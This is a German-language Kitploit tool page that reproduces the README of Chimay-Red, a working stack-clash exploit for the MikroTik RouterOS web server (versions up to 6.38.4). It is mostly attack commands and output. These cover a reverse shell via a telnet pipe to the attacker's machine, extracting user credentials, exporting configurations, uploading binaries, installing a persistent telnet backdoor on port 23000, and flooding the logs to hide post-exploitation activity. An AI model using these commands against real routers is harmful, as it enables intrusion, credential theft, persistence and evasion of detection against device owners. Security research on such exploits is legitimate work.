Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Chimay-Red — Funktionierender POC des Mikrotik-Exploits aus den Vault-7-CIA-Leaks | Kitploit
Tools/GitHubGitHub/bignerd95/chimay-red
Embedded-System-SicherheitIoT-SicherheitSchwachstellenanalyseExploitationReverse EngineeringShellcodePost-ExploitationPenetrationstestsHardware- & IoT-SicherheitPayload-EntwicklungBinary-Exploitation
6682137vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubbignerd95/chimay-red

Chimay-Red

Funktionierender POC des Mikrotik-Exploits aus den Vault-7-CIA-Leaks

Repository anzeigen

Chimay-Red

Reverse Engineering des Mikrotik-Exploits aus den Vault 7 CIA-Leaks

Siehe das PDF für weitere Informationen (nicht aktualisiert)

Anfällige Versionen

Bis RouterOS 6.38.4

Was ist neu in 6.38.5 (2017-Mar-09 11:32): !) www - Schwachstelle im HTTP-Server behoben;

Proof of Concepts

CrashPOC

Einfacher Absturz durch Senden von -1 als Content-Length im POST-Header

StackClashPOC

Stack-Clash-Exploit mit zwei Threads, fehlende ROP-Chain

Funktionierende Exploits

Da die ROP dynamisch erstellt wird, müssen Sie die www-Binärdatei aus der RouterOS-Firmware extrahieren. (Sie befindet sich in /nova/bin/) Prüfen Sie, ob die laufende Version dieselbe ist. Zur Vereinfachung der Extraktion können Sie Folgendes verwenden:

$ ./tools/getROSbin.py 6.38.4 x86 /nova/bin/www www_binary

StackClash_x86

Stack-Clash-Exploit mit zwei Threads und ROP-Chain zum Ausführen von Bash-Befehlen

Reverse Shell:

In einer Shell:

$ nc -l -p 1234 

In einer anderen Shell:

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f 2>&1"

Wobei:

  • RouterOS-IP: 192.168.8.1
  • PC-IP: 192.168.8.5

Benutzer und Passwörter extrahieren

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "cp /rw/store/user.dat /ram/winbox.idx"
$ sleep 3 # (einige Sekunden warten, bis www neu gestartet ist)
$ curl -s http://192.168.8.1/winbox/index | ./tools/extract_user.py -

Konfigurationen exportieren

Sie können Befehle in der Mikrotik-Konsole mit /nova/bin/info ausführen. Z. B.: /nova/bin/info "/system reboot" startet das System neu.

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/nova/bin/info '/export' > /ram/winbox.idx"
$ sleep 20 # (die Ausführung des /export-Befehls dauert etwas)
$ curl -s http://192.168.8.1/winbox/index

StackClash_mips

Stack-Clash-Exploit mit zwei Threads und ROP-Chain + Shellcode zum Ausführen von Bash-Befehlen In der MIPS-Version von www ist der Stack RWX, sodass wir zum Stack springen können.

Sie können denselben Bash-Befehl wie in der x86-Version ausführen.

LCD

Lustiger Befehl

$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "echo hello world > /dev/lcd"

image

Super-Mario-Sound

Machen Sie das nicht! ;-P

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "while [ true ]; do /nova/bin/info ':beep frequency=660 length=100ms;:delay 150ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=510 length=100ms;:delay 100ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=770 length=100ms;:delay 550ms;:beep frequency=380 length=100ms;:delay 575ms;:beep frequency=510 length=100ms;:delay 450ms;:beep frequency=380 length=100ms;:delay 400ms;:beep frequency=320 length=100ms;:delay 500ms;:beep frequency=440 length=100ms;:delay 300ms;:beep frequency=480 length=80ms;:delay 330ms;:beep frequency=450 length=100ms;:delay 150ms;:beep frequency=430 length=100ms;:delay 300ms;:beep frequency=380 length=100ms;:delay 200ms;:beep frequency=660 length=80ms;:delay 200ms;:beep frequency=760 length=50ms;:delay 150ms;:beep frequency=860 length=100ms;:delay 300ms;:beep frequency=700 length=80ms;:delay 150ms;:beep frequency=760 length=50ms;:delay 350ms;:beep frequency=660 length=80ms;:delay 300ms;:beep frequency=520 length=80ms;:delay 150ms;:beep frequency=580 length=80ms;:delay 150ms;:beep frequency=480 length=80ms;:delay 500ms;'; done"

Binärdateien hochladen

Um busybox-mips nach /ram/busybox hochzuladen In einer Shell:

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips  
$ { echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x  //g"; } | nc -l -q 0 -p 1234

In einer anderen Shell (beachten Sie, dass dies der Reverse-Shell-Befehl ist):

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"

und warten Sie, bis die Verbindung automatisch geschlossen wird. (Sobald die Datei hochgeladen ist, führen Sie die Reverse Shell erneut aus (diesmal nur mit nc -l -p 1234 lauschend) und Sie finden busybox in /ram/)

Persistenter Telnet-Server

Sie können bei jedem Boot ein Skript ausführen, indem Sie ein Bash-Skript in /flash/etc/rc.d/run.d/ erstellen. Achten Sie darauf, die Ausführungsberechtigungen zu setzen, sonst bleibt Ihr Router beim Booten hängen und Sie müssen die Firmware wiederherstellen! Dieses Beispiel aktiviert einen persistenten Telnet-Server auf Port 23000. In einer Shell:

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips 
$ { echo "echo Installing..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /flash/bin/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x  //g"; echo "chmod 777 /flash/bin/busybox"; echo "/flash/bin/busybox --install -s /flash/bin/"; echo "mkdir -p /flash/etc/rc.d/run.d"; echo 'echo -e "#!/flash/bin/sh\ntelnetd -p 23000 -l sh" > /flash/etc/rc.d/run.d/S89own'; echo "chmod 777 /flash/etc/rc.d/run.d/S89own"; echo "/nova/bin/info '/system reboot'"; echo "echo Done! Rebooting..."; } | nc -l -p 1234

In einer anderen Shell (beachten Sie, dass dies der Reverse-Shell-Befehl ist):

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"

und warten Sie, bis Done! Rebooting... erscheint. Sobald der Router wieder hochgefahren ist:

$ telnet 192.168.8.1 23000
Trying 192.168.8.1...
Connected to 192.168.8.1.
Escape character is '^]'.


MikroTik v6.38.4 (stable)
/ #

StackClash_resock_mips

Den HTTP-Socket wiederverwenden, um eine Shell zu starten, sodass Sie eine Shell ohne Reverse-Verbindung haben können.

$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary
[...]
sh: turning off NDELAY mode

Got root ;-)

Binärdateien ohne Reverse Shell hochladen

Um busybox-mips nach /ram/busybox hochzuladen

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips  
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary busybox-mips /ram/busybox   
[...]   
Uploading busybox-mips in /ram/busybox...   
Upload done!
sh: turning off NDELAY mode

Got root ;-)

chmod 777 /ram/busybox
/ram/busybox
BusyBox v1.28.1 (2018-02-15 14:34:02 CET) multi-call binary.
[...]

Boot-Logo ändern

Es werden nur RGB-Bitmap-24-Bit-Dateien (unkomprimiert) unterstützt. Maximale Größe: 160px Breite, 76px Höhe Ein Beispiel finden Sie hier

$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary docs/logo.bmp /flash/boot/logo.bmp  
[...]
Uploading docs/logo.bmp in /flash/boot/logo.bmp...
Upload done!
sh: turning off NDELAY mode

Got root ;-)

reboot
*** Connection closed by remote host ***

image

Logs verbergen

Um Logs nach Ihren Post-Exploitation-Aktionen zu entfernen

/ # /nova/bin/info ":for i from=1 to=1000 do={ :log info message='Some dummy info' }"

FAQ

Woher bekommt man die chimay-red.py-Datei, auf die dieses Toolkit angewiesen ist?

Dies ist ein Reverse Engineering einer geleakten CIA-Dokumentation. Es gibt keine öffentlich verfügbare chimay-red.py.

Ich verstehe nicht, wie der Stack Clash funktioniert.

Ich werde das PDF aktualisieren, sobald ich genug Zeit habe, aber trotzdem: Wir wissen, dass:

  • jeder Thread 128KB Stack hat
  • jeder Stack jedes Threads auf dem Stack des vorherigen Threads liegt.
Tool herunterladen